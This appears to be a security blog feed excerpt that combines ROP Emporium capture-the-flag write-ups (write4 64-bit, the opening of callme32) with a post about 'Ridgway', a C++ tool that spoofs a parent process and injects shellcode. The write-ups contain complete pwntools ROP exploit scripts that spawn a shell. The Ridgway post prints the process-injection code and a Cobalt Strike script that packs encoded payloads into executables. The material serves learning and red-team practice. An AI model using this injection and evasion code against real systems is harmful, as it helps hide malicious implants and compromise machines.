pwn.context.terminal = ['byobu', 'new-window']

gdb_cmds = [
    'b* main',
    'c'
]

# Start debugging
io = pwn.gdb.debug(binary.path, gdbscript = '\n'.join(gdb_cmds))

io.recvuntil("> ")
io.sendline(pwn.cyclic(100, n=8))
io.interactive()

After running our this we see the expected crash:

Program received signal SIGSEGV, Segmentation fault.
0x0000000000400806 in pwnme ()
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x00007ffffc33c7c0  →  "aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaaga[...]"
$rbx   : 0x0
$rcx   : 0xfbad2088
$rdx   : 0x00007ffffc33c7c0  →  "aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaaga[...]"
$rsp   : 0x00007ffffc33c7e8  →  "faaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaala[...]"
$rbp   : 0x6161616161616165 ("eaaaaaaa"?)
$rsi   : 0x00007fb7557548d0  →  0x0000000000000000
$rdi   : 0x00007ffffc33c7c1  →  "aaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaa[...]"
$rip   : 0x0000000000400806  →  <pwnme+81> ret
$r8    : 0x0000000000c652c5  →  0x0000000000000000
$r9    : 0x77
$r10   : 0x0000000000c65010  →  0x0000000000000000
$r11   : 0x246
$r12   : 0x0000000000400650  →  <_start+0> xor ebp, ebp
$r13   : 0x00007ffffc33c8d0  →  0x0000000000000001
$r14   : 0x0
$r15   : 0x0
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007ffffc33c7e8│+0x0000: "faaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaala[...]"    ← $rsp
0x00007ffffc33c7f0│+0x0008: "gaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaama[...]"
0x00007ffffc33c7f8│+0x0010: "haaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa"
0x00007ffffc33c800│+0x0018: "iaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa"
0x00007ffffc33c808│+0x0020: "jaaaaaaakaaaaaaalaaaaaaamaaa"
0x00007ffffc33c810│+0x0028: "kaaaaaaalaaaaaaamaaa"
0x00007ffffc33c818│+0x0030: "laaaaaaamaaa"
0x00007ffffc33c820│+0x0038: 0x0000000a6161616d ("maaa"?)
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x4007ff <pwnme+74>       call   0x400620 <fgets@plt>
     0x400804 <pwnme+79>       nop
     0x400805 <pwnme+80>       leave
 →   0x400806 <pwnme+81>       ret
[!] Cannot disassemble from $PC
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "write464", stopped, reason: SIGSEGV
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x400806 → pwnme()
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤

However this time it looks a little different, the segfault has occurred but rip points to a ret and not to a portion of our cyclic buffer.

64-bit registers

At this point we should talk about 64-bit registers. You may have noticed that all the registers above look the same and have the same function, but begin with an r (e.g. rip) instead of an e (e.g. eip). The r- versions just indicate that the register in 64-bit and the e- that the register is 32-bit, otherwise the function of the register is the same.

64-bit registers are (unsurprisingly) 64-bits in length, however, for many CPUs the 64-bit memory address space does not utilise all of the available 64-bits. x86-64 and ARMv8 for example, two of the most common CPU types, only support up to 48-bits of virtual address space. This is still more than large enough for tasks today, however it does mean that if you try to access a memory address that uses more than 48 bits then the CPU will error with a segfault before the instruction using that memory address actually executes.

So looking above, we can see that rip is at the ret of the pwnme function, and we know that the ret operation will return to the address at the top of the stack and then pop it off.

The address at the top of the stack is part of our buffer: faaaaaaag (unfortunately). Let's use GDB to observe this as a memory address using x/gx $esp (examine giant (64-bit value) and print in hex at esp):

gef➤  x/gx $rsp
0x7ffffc33c7e8: 0x6161616161616166

We can already tell that more than 48-bits are used by the lack of trailing zeros, but let's print it in binary too to check:

gef➤  x/gt $rsp
0x7ffffc33c7e8: 0110000101100001011000010110000101100001011000010110000101100110

Yep, definitely using more than 48-bits! In order to not error the leading 16 (64-48) bits would have to be 0s. This explains why our segfault happens at the ret, and we have determined that the offset that we want is at faaaaaaag as this is the return address that it is trying to be returned to.

Creating the ROP Chain

Right, so we know we have an import to system and we have a mov gadget that can write a register to a the location pointed at by another register - the question now is what to write and where?

We could use the gadget multiple times to build up a long string, however we have 8 ASCII characters to work with in a 64-bit memory adress, so we could just try writing /bin/sh. With the null-byte terminator that's eight characters, perfect!

As for where, let's take a look at the memory mapping for writable locations...

Start              End                Offset             Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-x /root/Downloads/write464
0x0000000000600000 0x0000000000601000 0x0000000000000000 r-- /root/Downloads/write464
0x0000000000601000 0x0000000000602000 0x0000000000001000 rw- /root/Downloads/write464
0x00007f76a8350000 0x00007f76a8372000 0x0000000000000000 r-- /lib/x86_64-linux-gnu/libc-2.28.so
0x00007f76a8372000 0x00007f76a84ba000 0x0000000000022000 r-x /lib/x86_64-linux-gnu/libc-2.28.so
0x00007f76a84ba000 0x00007f76a8506000 0x000000000016a000 r-- /lib/x86_64-linux-gnu/libc-2.28.so
0x00007f76a8506000 0x00007f76a8507000 0x00000000001b6000 --- /lib/x86_64-linux-gnu/libc-2.28.so
0x00007f76a8507000 0x00007f76a850b000 0x00000000001b6000 r-- /lib/x86_64-linux-gnu/libc-2.28.so
0x00007f76a850b000 0x00007f76a850d000 0x00000000001ba000 rw- /lib/x86_64-linux-gnu/libc-2.28.so
0x00007f76a850d000 0x00007f76a8513000 0x0000000000000000 rw-
0x00007f76a853b000 0x00007f76a853c000 0x0000000000000000 r-- /lib/x86_64-linux-gnu/ld-2.28.so
0x00007f76a853c000 0x00007f76a855a000 0x0000000000001000 r-x /lib/x86_64-linux-gnu/ld-2.28.so
0x00007f76a855a000 0x00007f76a8562000 0x000000000001f000 r-- /lib/x86_64-linux-gnu/ld-2.28.so
0x00007f76a8562000 0x00007f76a8563000 0x0000000000026000 r-- /lib/x86_64-linux-gnu/ld-2.28.so
0x00007f76a8563000 0x00007f76a8564000 0x0000000000027000 rw- /lib/x86_64-linux-gnu/ld-2.28.so
0x00007f76a8564000 0x00007f76a8565000 0x0000000000000000 rw-
0x00007ffc0f584000 0x00007ffc0f5a5000 0x0000000000000000 rw- [stack]
0x00007ffc0f5a9000 0x00007ffc0f5ac000 0x0000000000000000 r-- [vvar]
0x00007ffc0f5ac000 0x00007ffc0f5ae000 0x0000000000000000 r-x [vdso]

There's a writable section for our binary, which doesn't support ASLR so we know that these addresses will be static. This writable section is probably for the Global Offset Table, which as detailed in part 2 needs to be writeable. Let's see if we can confirm this.

gef➤  disas usefulFunction
Dump of assembler code for function usefulFunction:
   0x0000000000400807 <+0>:     push   rbp
   0x0000000000400808 <+1>:     mov    rbp,rsp
   0x000000000040080b <+4>:     mov    edi,0x40090c
   0x0000000000400810 <+9>:     call   0x4005e0 <system@plt>
   0x0000000000400815 <+14>:    nop
   0x0000000000400816 <+15>:    pop    rbp
   0x0000000000400817 <+16>:    ret
End of assembler dump.
gef➤  disas 0x4005e0
Dump of assembler code for function system@plt:
   0x00000000004005e0 <+0>:     jmp    QWORD PTR [rip+0x200a3a]        # 0x601020 <system@got.plt>
   0x00000000004005e6 <+6>:     push   0x1
   0x00000000004005eb <+11>:    jmp    0x4005c0
End of assembler dump.
gef➤

We can see the system@got.plt is at 0x601020, which, in our memory map above, is indeed our writable section. Let's write our string towards the end of the GOT, as long as we don't overwrite the system@got.plt address we should be ok.

Let's add what we can to our pwn script:

#!/usr/bin/env python2

import pwn

# Set the context for any pwntools magic
pwn.context.arch = 'amd64'
# Load the binary as a pwntools ELF
pwn.context.binary = binary = pwn.ELF('./write464')
# Setup pwntools to create a new byoby window instead of a new terminal window when it starts gdb
pwn.context.terminal = ['byobu', 'new-window']

gdb_cmds = [
            'b* main',
            'c'
            ]

# Start debugging
io = pwn.gdb.debug(binary.path, gdbscript = '\n'.join(gdb_cmds))
io.recvuntil("> ")
#io.sendline(pwn.cyclic(100, n=8))
offset = pwn.cyclic_find("faaaaaaag", n=8)

system = binary.symbols.plt.system
mov_r15_to_pointer_r14 = 0x00400820
pop_r14_r15 = 0x00400890
ptr_got_near_end = 0x601900

buf = ""
buf += "A" * offset
buf += pwn.p64(pop_r14_r15) # ret address
buf += pwn.p64(ptr_got_near_end) # popped into r14
buf += "/bin/sh\x00" # popped into r15
buf += pwn.p64(mov_r15_to_pointer_r14) # ret from pop gadget
buf += # need to setup call to system...

io.sendline(buf)
io.interactive()

So we'll overwrite the return address with the address of the gadget which will pop two values off the stack and into r14 and r15, these will be the address to the writeable GOT and the null-terminated string /bin/sh. We'll then return from that to the mov gadget which will write the contents of the r15 register to the location pointed at by the r14 register - so our string will be written to the GOT.

All that remains after that is so setup the call to system, but how do we do this in 64-bit?

64-bit calling convention

For 32-bit programs we know that the arguments to a function go on the stack in reverse order, so that they can be popped off in the right order.

For 64-bit programs things work a little differently. For System V AMD64 ABI systems (Solaris, Linux, FreeBSD & macOS), the first six integer or pointer arguments are passed in the registers rdi, rsi, rdx, rcx, r8 and r9, then any further arguments are pushed onto the stack. For Microsoft systems, the first four arguments are passed in the rcx, rdx, r8 and r9 registers, then any further arguments are passed on the stack.

This means that as we want to call system with the address of our string, we'll have to pop that pointer into the rdi register and then call system. Let's find an appropriate gadget if we can in radare2.

[0x0040084a]> /R pop rdi
  0x00400893                 5f  pop rdi
  0x00400894                 c3  ret

Perfect! Let's finish off our script and give it a go!

Shellz

So our final script looks like this:

#!/usr/bin/env python2

import pwn

# Set the context for any pwntools magic
pwn.context.arch = 'amd64'
# Load the binary as a pwntools ELF
pwn.context.binary = binary = pwn.ELF('./write464')
# Setup pwntools to create a new byoby window instead of a new terminal window when it starts gdb
pwn.context.terminal = ['byobu', 'new-window']

gdb_cmds = [
            'b* main',
            'c'
           ]

# Start debugging
io = pwn.gdb.debug(binary.path, gdbscript = '\n'.join(gdb_cmds))
#io = pwn.process(binary.path)
io.recvuntil("> ")
#io.sendline(pwn.cyclic(100, n=8))
offset = pwn.cyclic_find("faaaaaaag", n=8)

system = binary.symbols.plt.system
mov_r15_to_pointer_r14 = 0x00400820
pop_r14_r15 = 0x00400890
ptr_got_near_end = 0x601900
pop_rdi = 0x00400893

buf = ""
buf += "A" * offset
buf += pwn.p64(pop_r14_r15) # ret address
buf += pwn.p64(ptr_got_near_end) # popped into r14
buf += "/bin/sh\x00" # popped into r15
buf += pwn.p64(mov_r15_to_pointer_r14) # ret from pop gadget
buf += pwn.p64(pop_rdi) # ret from mov gadget
buf += pwn.p64(ptr_got_near_end) # popped into rdi
buf += pwn.p64(system) # ret to system

io.sendline(buf)
io.interactive()

We run it and check the gdb output:

gef➤  c
Continuing.
[Detaching after fork from child process 2246]

Gdb looks good, let's try and run a command in the original window...

python pwn_write464.py
[*] '/root/Downloads/write464'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Starting local process '/usr/bin/gdbserver': pid 2159
[*] running in new terminal: /usr/bin/gdb -q  "/root/Downloads/write464" -x "/tmp/pwnfqSFEj.gdb"
[!] cyclic_find() expects 8-byte subsequences by default, you gave 'faaaaaaag'
    Unless you specified cyclic(..., n=9), you probably just want the first 4 bytes.
    Truncating the data at 4 bytes.  Specify cyclic_find(..., n=9) to override this.
[*] Switching to interactive mode
Detaching from process 2246
$ cat flag.txt
ROPE{a_placeholder_32byte_flag!}
$

Boom! Headshot!

Summary

We've cracked ropemporium's write4, in 64-bit this time! We've had to make use of a gadget to manually write the string we want to execute into memory, and we've gotten a bit more familiar with radare2, gdb-gef and pwntools.

Next time we'll try badchars, a challenge where we'll have to learn how to deal with binaries which can mangle certain characters in our buffer!

]]>
<![CDATA[Ridgway]]>/ridgway/5b5b07bebdfc4d0751b49cadWed, 20 Feb 2019 10:09:25 GMTRidgway

I've been wanting to learn C++ and how to use Windows APIs for a while now. I know you can use PInvoke from C# but in some ways it's easier to just knuckle down and learn how to do it in C++. I needed something to focus the learning however so I set about writing a tool that could create arbitrary processes under a specific parent process, then inject shellcode into a new thread in that process.

The idea is that it can be used to create a process for shellcode that is more hidden than just creating a new instance of a process. It doesn't really provide any added value over just migrating into a new process, but hey, it's different and something to aim for :).

The end result is an exe that you can run like this:

Ridgway.exe <new process path> <parentProcessId>

Caution though this is still very much a WIP!

Spoofing the parent process

Most of the program is pretty straightforward, the first bit of interesting stuff takes place in ParentProcessManipulation.h. In StartProcessSuspended we get a handle on the parent process (acquiring debug privileges in the process if required) and then get the process attribute list for that process, requesting the PROC_THREAD_ATTRIBUTE_PARENT_PROCESS specifically.

PPROC_THREAD_ATTRIBUTE_LIST GetParentAttributeList(HANDLE &parentProcessHandle)
{
	SIZE_T attributeListSize = 0;
	// Pass null to get the size of the attribute list
	InitializeProcThreadAttributeList(nullptr, 1, 0, &attributeListSize);

	// Allocate space for it
	PPROC_THREAD_ATTRIBUTE_LIST parentAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeListSize);
	if (nullptr == parentAttributeList)
	{
		DisplayErrorMessage(TEXT("HeapAlloc error"), GetLastError());
		return nullptr;
	}
	// Create the attribute list
	if (!InitializeProcThreadAttributeList(parentAttributeList, 1, 0, &attributeListSize))
	{
		DisplayErrorMessage(TEXT("InitializeProcThreadAttributeList error"), GetLastError());
		return nullptr;
	}
	// Update it with the parent process attribute using the parent process handle
	if (!UpdateProcThreadAttribute(parentAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parentProcessHandle, sizeof(HANDLE), nullptr, nullptr))
	{
		DisplayErrorMessage(TEXT("UpdateProcThreadAttribute error"), GetLastError());
		return nullptr;
	}
	return parentAttributeList;
}

For fellow C++ noobs, the first call to InitializeProcThreadAttributeList is passed a nullptr as an attribute list and a reference to a new SIZE_T struct (attributeListSize). When no attribute list is passed to the function it instead populates the size struct with the amount of space that is required, so we can then use HeapAlloc to reserve that space and then call the function again passing the pointer to that space to the function. This is a common pattern in C++.

The attribute list in the STARTUPINFOEX structure for the new process is then set to this returned attribute list, and that is then passed to CreateProcess.

STARTUPINFOEX startupInfo = { sizeof(startupInfo) };

	// Get the attribute list from the parent process
	PPROC_THREAD_ATTRIBUTE_LIST parentAttributeList = GetParentAttributeList(parentProcessHandle);

	if (parentAttributeList == nullptr)
	{
		DisplayErrorMessage(TEXT("Error getting attributes from parent process"), GetLastError());
		return processInfo;
	}

	// Set the startup info attribute list to the one set from the 'parent'.
	startupInfo.lpAttributeList = parentAttributeList;

	// Create the process
	if (!CreateProcess(nullptr, processName, nullptr, nullptr, FALSE, EXTENDED_STARTUPINFO_PRESENT | CREATE_SUSPENDED, nullptr, nullptr, &startupInfo.StartupInfo, &processInfo))
	{
		DisplayErrorMessage(TEXT("CreateProcess error"), GetLastError());
		return processInfo;
	}

This creates the process with the given parent ID, as can be seen in ProcessExplorer.exe:

Ridgway

Injecting the shellcode

The next interesting bit takes places in InjectShellcodeIntoNewThread in ShellcodeInjection.h. This bit is pretty vanilla in terms of shellcode injection, but we'll go over it anyway.

BOOL InjectShellcodeIntoNewThread(PROCESS_INFORMATION processInfo)
{

	const PVOID memoryAddress = VirtualAllocEx(processInfo.hProcess, nullptr, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

	if (!memoryAddress)
	{
		DisplayErrorMessage(TEXT("Error calling VirtualAlloc"), GetLastError());
		return FALSE;
	}

	if (!WriteProcessMemory(processInfo.hProcess, memoryAddress, shellcode, sizeof(shellcode), nullptr))
	{
		DisplayErrorMessage(TEXT("Error writing process memory"), GetLastError());
		return FALSE;
	}

	if (!CreateRemoteThread(processInfo.hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE)memoryAddress, nullptr, PAGE_EXECUTE_READWRITE, nullptr))
	{
		DisplayErrorMessage(TEXT("Error creating thread"), GetLastError());
		return FALSE;
	}
	return TRUE;
} 

We first make a call to VirtualAllocEx passing in the handle to our newly created process. This allocates some memory for our new process that'll we'll use for our new thread. As we will write to it next and then execute it it needs to be created with PAGE_EXECUTE_READWRITE permissions.

Next we write the hard-coded shellcode to the base of that memory with WriteProcessMemory and then create a new thread in our target process with CreateRemoteThread, setting the entry point of the thread to our newly created page.

After this we just resume the thread, and the shellcode executes!

Cobalt Strike

The last interesting bit of this project was adding Ridgway to Cobalt Strike using the Artifact Kit. There's an artifact.cna in the repository that can be loaded into Cobalt Strike so that when an executable is generated it will create a Ridgway executable with that shellcode.

set EXECUTABLE_ARTIFACT_GENERATOR {
	local('$handle $data $key $index $payload $resource $buffer $b $x');

	($resource, $payload) = @_;

	$temp = openf(">/tmp/ridgwayunencoded.bin");          
	writeb($temp, $payload);
	closef($temp);	

	$msf = exec("/opt/cobaltstrike-artifactkit/artifact/dist-ridgway/encode_payload.sh");
	wait($msf);
	closef($msf);
	$in = openf("/tmp/ridgwayencoded.bin");
	$encoded_payload = readb($in, -1);
	closef($in);
	# try again or use the default artifact... I don't have it!
	if (!-exists script_resource($resource)) {
		return $null;
	}

	# read in the executable template
	$handle = openf(script_resource($resource));
	$data = readb($handle, -1);
	closef($handle);

	# find the location of our data in the executable
	$index = indexOf($data, 'A' x 1536);

	# pack data into a buffer 
	$buffer = allocate(1536);

	# pack our encoded payload into the buffer
	for ($x = 0; $x < strlen($encoded_payload); $x++) {
		writeb($buffer, chr((byteAt($encoded_payload, $x))));
	}

	# retrieve the contents of the buffer.
	closef($buffer);
	$b = readb($buffer, -1);

	# return our encoded shellcode.
	return replaceAt($data, "$[1024]b", $index);
}

The way this works it is locates the buffer of A's in the binary and just patches it with the shellcode. The only difficult part was encoding the shellcode, as any null bytes would terminate the buffer. In the end I just passed this to msfvenom (via encode_payload.sh which is just an msfvenom one-liner, necessary to handle the file descriptors) and used it to encode it then patched the binary. It's super ugly so if you know of a better way please let me know on Twitter! It does work however, which is the main thing!

The result is on my GitHub but is still very much a WIP. Presently I've only tested the Debug x64 configuration with x64 bit shellcode, and I'm mid-implementing process hollowing as a secondary injection method, but have some more learning to do there...

Feel free to have a play and let me know of any issues or create a PR and contribute!

References

]]>
<![CDATA[Ropping to Victory - Part 3, callme maybe?]]>/ropping-to-victory-part-3-callme-maybe/5b5b07ebbdfc4d0751b49cafWed, 03 Oct 2018 08:03:46 GMTRopping to Victory - Part 3, callme maybe?

Last time we looked at ropemporium's second 32-bit challenge, split. This time we're going to look at the third challenge, callme (maybe).

This challenge is a step up from the previous two as we're told we have to call three different functions in oder (callme_one(), callme_two() and callme_three()) each with the arguments 1,2,3 to decrypt the flag. The binary comes with an encrypted_flag.txt and a couple of Key.dat files, presumably used by the functions to decrypt the flag, in addition to a libcallme32.so library.

First off, let's run it:

callme by ROP Emporium
32bits

Hope you read the instructions...
> test

Exiting

Seems straightforward enough...

Let's take a look a the binary in radare2.

Binary Analysis

r2 callme32
 -- I thought we were friends. :_
[0x08048640]> i
blksz    0x0
block    0x100
fd       3
file     callme32
format   elf
iorw     false
mode     r-x
size     0x1e68
humansz  7.6K
type     EXEC (Executable file)
arch     x86
baddr    0x8048000
binsz    6541
bintype  elf
bits     32
canary   false
sanitiz  false
class    ELF32
crypto   false
endian   little
havecode true
intrp    /lib/ld-linux.so.2
lang     c
linenum  true
lsyms    true
machine  Intel 80386
maxopsz  16
minopsz  1
nx       true
os       linux
pcalign  0
pic      false
relocs   true
relro    partial
rpath    ./
static   false
stripped false
subsys   linux
va       true
[0x08048640]>

As before, we get some information about the binary using i, and then perform some analysis using aaa, and check the function list with afl.

[0x08048640]> afl
0x08048558    3 35           sym._init
0x08048590    1 6            sym.imp.printf
0x080485a0    1 6            sym.imp.fgets
0x080485b0    1 6            sym.imp.callme_three
0x080485c0    1 6            sym.imp.callme_one
0x080485d0    1 6            sym.imp.puts
0x080485e0    1 6            sym.imp.exit
0x080485f0    1 6            sym.imp.__libc_start_main
0x08048600    1 6            sym.imp.setvbuf
0x08048610    1 6            sym.imp.memset
0x08048620    1 6            sym.imp.callme_two
0x08048630    1 6            sub.__gmon_start_630
0x08048640    1 33           entry0
0x08048670    1 4            sym.__x86.get_pc_thunk.bx
0x08048680    4 43           sym.deregister_tm_clones
0x080486b0    4 53           sym.register_tm_clones
0x080486f0    3 30           sym.__do_global_dtors_aux
0x08048710    4 43   -> 40   entry1.init
0x0804873b    1 123          sym.main
0x080487b6    1 86           sym.pwnme
0x0804880c    1 67           sym.usefulFunction
0x08048850    4 93           sym.__libc_csu_init
0x080488b0    1 2            sym.__libc_csu_fini
0x080488b4    1 20           sym._fini
[0x08048640]>

We note that the callme functions are actually imported functions (indicated by the sym.imp prefix, and confirmed using ii to view the imports). We also see our usual usefulFunction and pwnme functions.

We can then enter Visual Mode with V, cycle to the disassembler layout with p and then use the flag search hud, _, to search for our usefulFunction.

[0x0804880c 26% 220 callme32]> pd $r @ sym.usefulFunction
┌ (fcn) sym.usefulFunction 67
│   sym.usefulFunction ();
│           0x0804880c      55             push ebp
│           0x0804880d      89e5           mov ebp, esp
│           0x0804880f      83ec08         sub esp, 8
│           0x08048812      83ec04         sub esp, 4
│           0x08048815      6a06           push 6                      ; 6
│           0x08048817      6a05           push 5                      ; 5
│           0x08048819      6a04           push 4                      ; 4
│           0x0804881b      e890fdffff     call sym.imp.callme_three   ;[1]
│           0x08048820      83c410         add esp, 0x10
│           0x08048823      83ec04         sub esp, 4
│           0x08048826      6a06           push 6                      ; 6
│           0x08048828      6a05           push 5                      ; 5
│           0x0804882a      6a04           push 4                      ; 4
│           0x0804882c      e8effdffff     call sym.imp.callme_two     ;[2]
│           0x08048831      83c410         add esp, 0x10
│           0x08048834      83ec04         sub esp, 4
│           0x08048837      6a06           push 6                      ; 6
│           0x08048839      6a05           push 5                      ; 5
│           0x0804883b      6a04           push 4                      ; 4
│           0x0804883d      e87efdffff     call sym.imp.callme_one     ;[3]
│           0x08048842      83c410         add esp, 0x10
│           0x08048845      83ec0c         sub esp, 0xc
│           0x08048848      6a01           push 1                      ; 1 ; i
└           0x0804884a      e891fdffff     call sym.imp.exit           ;[4]
            0x0804884f      90             nop

We can see here that our callme functions are being invoked, but in the wrong order and with the wrong parameters compared to our information text about this challenge.

From here we can seek to the callme functions by pressing the number next to the call in the square brackets, in this case [1], [2] or [3].

We can poke around a bit more, but what we need to do appears to be clear, lets give it a go!

Exploitation

Let's create the skeleton of our pwntools script.

#!/usr/bin/env python2

import pwn

# Set the context for any pwntools magic
pwn.context.arch = 'i386'
# Load the binary as a pwntools ELF
pwn.context.binary = binary = pwn.ELF('./callme32')
# Setup pwntools to create a new byoby window instead of a new terminal window when it starts gdb
pwn.context.terminal = ['byobu', 'new-window']

gdb_cmds = [
    'b* main',
    'c'
]

# Start debugging
io = pwn.gdb.debug(binary.path, gdbscript = '\n'.join(gdb_cmds))

io.interactive()

Running this we get some useful information in the console and our gdb session starts. We can use gdb to print the memory address of the callme functions with the print command.

[*] '/root/ctfs/ropemporium/32/callme/callme32'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
    RPATH:    './'
[+] Starting local process '/usr/bin/gdbserver': pid 5812
[*] running in new terminal: /usr/bin/gdb -q  "/root/ctfs/ropemporium/32/callme/callme32" -x "/tmp/pwnhVaLOg.gdb"
[*] Switching to interactive mode

We note that the checksec output agrees with the information from radare, and that the none-executable stack (NX) is enabled but there is no stack canary or ASLR (PIE)..

Then in the gdb window:

Breakpoint 1, 0x0804873b in main ()
gef➤  print 'callme_one@plt'
$2 = {<text variable, no debug info>} 0x80485c0 <callme_one@plt>
gef➤  print 'callme_two@plt'
$3 = {<text variable, no debug info>} 0x8048620 <callme_two@plt>
gef➤  print 'callme_three@plt'
$4 = {<text variable, no debug info>} 0x80485b0 <callme_three@plt>
gef➤

We can compare these to the the function list from radare, and see that they match.

Let's set up a rop chain similar to split32 where we call the first function, callme_one() with the appropriate arugments.

As we setup the binary using the pwntools ELF function we get a few extras, such as being able to resolve the function pointers using the binary.symbols, which we'll log to check they're what we expect.

#!/usr/bin/env python2

import pwn

# Set the context for any pwntools magic
pwn.context.arch = 'i386'
# Load the binary as a pwntools ELF
pwn.context.binary = binary = pwn.ELF('./callme32')
# Setup pwntools to create a new byoby window instead of a new terminal window when it starts gdb
pwn.context.terminal = ['byobu', 'new-window']

# Function pointers
callme_one_plt = binary.symbols.plt.callme_one
callme_two_plt = binary.symbols.plt.callme_two
callme_three_plt = binary.symbols.plt.callme_three

pwn.info("callme_one_plt: %#x", callme_one_plt)
pwn.info("callme_two_plt: %#x", callme_two_plt)
pwn.info("callme_three_plt: %#x", callme_three_plt)

# GDB Commands
gdb_cmds = [
    'b* %#x' % callme_one_plt,
    'c'
]

# Start debugging
io = pwn.gdb.debug(binary.path, gdbscript = '\n'.join(gdb_cmds))

io.recvuntil("> ")
io.sendline("A" * 100)
io.interactive()

Running this we see the PLT callme functions have the expected values:

[*] '/root/ctfs/ropemporium/32/callme/callme32'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
    RPATH:    './'
[*] callme_one_plt: 0x80485c0
[*] callme_two_plt: 0x8048620
[*] callme_three_plt: 0x80485b0
[+] Starting local process '/usr/bin/gdbserver': pid 10188
[*] running in new terminal: /usr/bin/gdb -q  "/root/ctfs/ropemporium/32/callme/callme32" -x "/tmp/pwnPXkiBV.gdb"
[*] Switching to interactive mode

And that the process errors as expected:

[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ registers ]────
$eax   : 0xffe9fa70  →  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$ebx   : 0x0
$ecx   : 0xf7f2989c  →  0x00000000
$edx   : 0xffe9fa70  →  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$esp   : 0xffe9faa0  →  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$ebp   : 0x41414141 ("AAAA"?)
$esi   : 0xf7f28000  →  0x001d5d8c
$edi   : 0x0
$eip   : 0x41414141 ("AAAA"?)
$eflags: [zero carry parity adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
$fs: 0x0000  $ds: 0x002b  $es: 0x002b  $ss: 0x002b  $cs: 0x0023  $gs: 0x0063
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]────
0xffe9faa0│+0x00: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"      ← $esp
0xffe9faa4│+0x04: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0xffe9faa8│+0x08: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0xffe9faac│+0x0c: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0xffe9fab0│+0x10: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0xffe9fab4│+0x14: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0xffe9fab8│+0x18: "AAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0xffe9fabc│+0x1c: "AAAAAAAAAAAAAAAAAAAAAAAA"
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:i386 ]────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x41414141
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]────
[#0] Id 1, Name: "callme32", stopped, reason: SIGSEGV
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]────
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0x41414141 in ?? ()
gef➤

Replacing this with our cyclic string, we find the overwrite occurs with 0x6161616c, the same as the last two challenges.

Let's overwrite this with As and confirm our control.

#!/usr/bin/env python2

import pwn

# Set the context for any pwntools magic
pwn.context.arch = 'i386'
# Load the binary as a pwntools ELF
pwn.context.binary = binary = pwn.ELF('./callme32')
# Setup pwntools to create a new byoby window instead of a new terminal window when it starts gdb
pwn.context.terminal = ['byobu', 'new-window']

# Function pointers
callme_one_plt = binary.symbols.plt.callme_one
callme_two_plt = binary.symbols.plt.callme_two
callme_three_plt = binary.symbols.plt.callme_three

pwn.info("callme_one_plt: %#x", callme_one_plt)
pwn.info("callme_two_plt: %#x", callme_two_plt)
pwn.info("callme_three_plt: %#x", callme_three_plt)

# GDB Commands
gdb_cmds = [
    'b* %#x' % callme_one_plt,
    'c'
]

# Start debugging
io = pwn.gdb.debug(binary.path, gdbscript = '\n'.join(gdb_cmds))

io.recvuntil("> ")
#io.sendline(pwn.cyclic(100))

# Create dummy rop chain of As
rop = "AAAA"

# Use the pwn.fit function to create a payload with the overwrite offset set to the rop chain
